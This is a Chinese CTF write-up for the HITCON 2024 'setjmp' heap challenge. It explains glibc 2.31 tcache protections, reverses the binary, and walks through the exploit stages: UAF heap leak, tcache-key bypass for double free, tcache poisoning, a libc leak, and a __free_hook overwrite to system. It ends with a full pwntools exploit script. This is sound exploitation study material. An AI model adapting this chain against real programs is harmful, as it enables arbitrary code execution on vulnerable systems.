阅读HITCON2024-setjmp题解笔记

前言

做这道题的时候当时刚刚重新学堆,其实确实观察到uaf的点,以及想到剩下root本身就可以double free,但没有做出来,是因为当时不知道tcache安全机制。整理相关安全机制+正确收集libc版本以后,这道题的思路呼之欲出,但细节还是经验不足啊,没刷多少题,得去看看师傅们是怎么构造任意读写的,实际上这道题可以完美地作为tcache中期安全机制的例题。

赛后官方提示

设置jmp:

通过重写tcache key并释放后释放,double free -> tcache_poisoning

对于地址泄漏,如果你用 tcache_poisoning 搞乱了堆,那么如果你努力的话,你可能会泄漏 libc 和堆栈。

setjmp 预期漏洞 TLDR 版本

漏洞

  • 在链表只有一个项时,unlink 操作中的使用后释放(UAF)

利用

  • 使用后释放(UAF),泄露堆基址
  • tcache 中毒,泄露 jmp_buf 中被篡改的 riprsp
  • 修改 jmp_buf,使用格式化字符串泄露栈和 libc
  • 计算篡改密钥,跳转到 system

非预期解决方案

  • 通过堆 Feng Shui 泄露 libc
  • 使用 malloc_hook 控制 rip

题目信息收集

错误示范:docker-compose up

在这里犯下了一点错误

只给了dockerfile,没有给libc,

所以第一反应是docker-compose up

进docker里面去查看libc版本

2.36版本,也就是跟现今的高版本libc差不多,指针异或加密,tcache double free检测,等等,都会有?那怎么做,其实确实可以按上面的方法破掉加密指针,但最末尾无论输入什么都会抹掉一个字节,所以得爆破0xff

然而实际上这题是glibc2.31的,白忙活一下午

这是因为直接这样起docker的话,docker自己本身会对内部的libc进行升级2.31->2.36

这样是行不通的!

正确示范

正确做法是打开Dockerfile

直接docker pull 作为base的ubuntu

然后进去看ldd –version

2.31-0ubuntu9.16 ,好消息:__free_hook还在,且指针不加密

可以在glibc-all-in-ones找到对应的libc下载下来然后patchelf,后面的步骤略

附上各linux发行版本默认glibc:

checksec

安全机制全开

逆向分析

这题使用IDA8.2比IDA7.7的反汇编结果更加清晰

题目自定义结构体

本题主要的结构体大概长这样,首先定义一个User结构体作为本题里面自定义的结构体

初始化函数

对应上面那个结构体

刚开始是有一个root块的,fd和bk都指向root块自身,其返回首个chunk地址,之后都会以此为操作的基础

功能选择

打印菜单,并写入一个值到bss段上的位置jmp_to_int,之后longjmp到用户输入值上

外面的_setjmp就是这次jmp_to_int的跳转目标,会跳到此处并携带val值,所以会switch到相应分支上

0:菜单里没有,实际上不需要管这里

1:跳回main开始处,这里会重新去生成一个heap_pointer地址,并把root的fd、bk重新都指向自身

2:add增加用户,其实就是双链表下的头插法

如果这里username不输入东西,就能保留原来存在的值。可以造成一个循环双链表,因为heap_pointer指的是root块,而add的时候,root块不会改变第一个加入块的bk,随着头插法的继续,其bk永远都指向root

3:删除用户,存在指针没有被置空的问题。而且这样写,即使root被delete掉,其仍然是heap_pointer

其中,被free的ptr的寻找方式是根据username的匹配对chunk进行遍历,如果没有就根据bk找到下一个的位置

4:更换密码,对应后面说的edit功能,是的edit只能改密码

5:show 打印所有chunk的username和password

至此,获取到了比较立体的信息:

1.libc 2.31,保护全开

2.存在悬挂的指针,且root的存在可以double free

3.自己实现的方法是不断根据bk来遍历,根据username来判断是否是指定块,那么即使破坏了块的结构,只要bk指针仍然指向块,而且username填为内存中的对应内容,仍然可以进行块的操作(泄露、edit改password位置等)

exp分析

第一阶段:泄露heap

由于存在free过后没有置零的情况,泄露heap非常简单,只要delete一个用户,其tcache->fd便会被写入到 题目结构体->username位置

tcache bins的next和key恰好对应题目自定义结构体中username和password的位置,因而能被show所泄露、被edit改写

没颜色的就是inuse,黄色为tcache bin,

第二行为tcache bin entry指向位置

下同

第二阶段:双重释放条件

2.28引入的tcache key,然而只要key填写不正确,就可以无视double free检测,这对于本题来说是比较容易做到的,因为其key字段正是对应本题password位置

reset->double free

而这题的reset其实能提供类似于重置环境的效果

其实这里当时想到了,如果仅剩一个root,那么就能free其自身两次,但当时还没学到tcache libc,不知道有key这种东西,也不知道绕过方法,当时刚接触堆,报错劝退了我

实际上可以edit(username,错的key)一次,password乱填注意别填对tcache的key就行,同时可以更改username(tcache的next)从而达成把下一个chunk分配到希望的地方的效果

edit只能改密码那个位置哦

修改key以绕过tcache double free 检测

回想这题寻找下一个块的方法是根据姓名来找,而且heap_pointer仍然指向root,但是username已经不再是root了,而是换成了tcache的next块

所以需要动态调试一下,找出tcache->next现今一次free后的值,原来是heap+0x540(低三位固定,高些的位才是动态地址的)

所以可以指定username为(heap+0x540),然后把key改成不对的,就能绕过tcache double_free检测对root进行double free了

总之,现在我们完成了二次释放,两个tcache bin的位置完全一致,离任意读写(Arbitrary Address Read/Write,发现很多外国人喜欢说AAR、AAW)不远了

第三阶段:AAR读libc地址

此时故技重施,使用gdb发现root的位置的username,变成了heap+0x560,又可以继续操作root块了

又因为tcache bin之前是重叠状态,此时的新申请,顺道把tcache 的next改成了我们需要改写的地址,而key则是改为了0,理由也是为了规避double free检测

再申请一个块,其就会被放入到root块(起始于heap+0x560)的高0x20处,其username、password覆盖了root的fd、bk

按照ptmalloc规则,消耗完以上两个重叠的tcache以后,再申请一个0x30块,其在heap+0x540+0x30位置

把以上三次分配图形化以后

最后检索到红框处,触发delete该块,与root unlink并free自身,将该块加入到tcache,

此时的内存情况,可以参考一下

或者我们可以add个块在这,直接读username是AAR,而使用username来操控其next地址还能造成AAW

add一个块,用于泄露libc,之前选择的heap+0x570就是因为restart以后这里有libc相关地址

这样就完成了libc劫持

第四阶段:AAW劫持free_hook

最后作者删除了泄露完的块,然后把root也删掉以后,再去edit “root”——此时root块的名字是p64(heap+0x740),并顺带把key置为p64(0)

然后删除该块,造成tcache再次重叠,

最后通过相同的原理,使用add操控tcache->next,将其释放到__free_hook(libc+0x1eee48-8),-8是为了存放binsh字符串,那么-0处就能存放system地址了

然后又通过add把username改成/bin/sh,password改成system函数(libc+0x52290)

那么就能够通过free,getshell了,因为__free_hook被改成了system,而其第一个参数将会指向被free的部分,被free的部分又指向了find_chunk_by_username(heap_pointer);,即username

完整exp

搬运自https://blog.csdn.net/llovewuzhengzi/article/details/140413292

就是照着这个来看的

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'


def restart():
    p.sendlineafter(b'> ',b'1')

def add(name,passwd):
    p.sendlineafter(b'> ',b'2')
    p.sendafter(b'username > ',name)
    p.sendafter(b'password > ',passwd)

def delete(name):
    p.sendlineafter(b'> ',b'3')
    p.sendafter(b'username > ',name)

def edit(name,passwd):
    p.sendlineafter(b'> ',b'4')
    p.sendafter(b'username > ',name)
    p.sendafter(b'password > ',passwd)

def show():
    p.sendlineafter(b'> ',b'5')
libc=ELF('2.31-0ubuntu9.16_amd64/libc-2.31.so')
p=process("./run1")

###1 UAF leak tcache fd(heap) ###
add(b"2",b"2")
delete(b"2")
delete(b"root")
add(b"1",b"1") # cover part heap address
show()


heap=u64( (p.recv(6)).ljust(8,b"\x00"))-0x531
print("heap",hex(heap))

###2 double free fengshui ###
add(b"2",b"2") 
add(b"3",b"3") # then need heap address to find the chunk to edit

# 0x420
for i in range(21):
    add(b"extend",b"extend")


delete(b"2")
delete(b"3")      # else can't find 


restart() # root_chunk change 3 
delete(b"root")

edit(p64(heap+0x540),b"0") 


delete(p64(heap+0x540))

### 3 aaw leak libc ###
add(p64(heap+0x560),p64(0))
add(p64(heap+0x560),b"unuse")
add(p64(0),p64(0x421))
print(hex(heap+0x560))

#pause()
delete(p64(heap+0x570)) # new user will change 16 24 


restart()  # enconvinent to layout
add(b"1",b"1")
gdb.attach(p)
show()
leak=u64( (p.recv(6)).ljust(8,b"\x00"))
libc=leak-0x1ecb31
###4 aaw hijack free hook###
delete(p64(leak))
#gdb.attach(p)
#pause()
delete(b"root")

edit(p64(heap+0x740),p64(0))
delete(p64(heap+0x740))

add(p64(libc+0x1eee48-8),p64(0))
add(b"nouse",b"nouse")
add(b"/bin/sh\x00",p64(libc+0x52290))
delete(b"/bin/sh\x00")
p.interactive()


参考

https://blog.csdn.net/llovewuzhengzi/article/details/140413292

https://jt00000.github.io/2024/07/15/post_hitcon2024_setjmp_v8sbxre.html

对应上面的wp:

https://github.com/jt00000/ctf.writeup/blob/master/hitcon2024/setjmp/solve.py

评论

  1. Nop(ba1100n的小迷弟)
    3 月前
    2024-7-31 17:57:42

    看不懂 反正ba1100n牛逼就对了

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
粤ICP备20015830号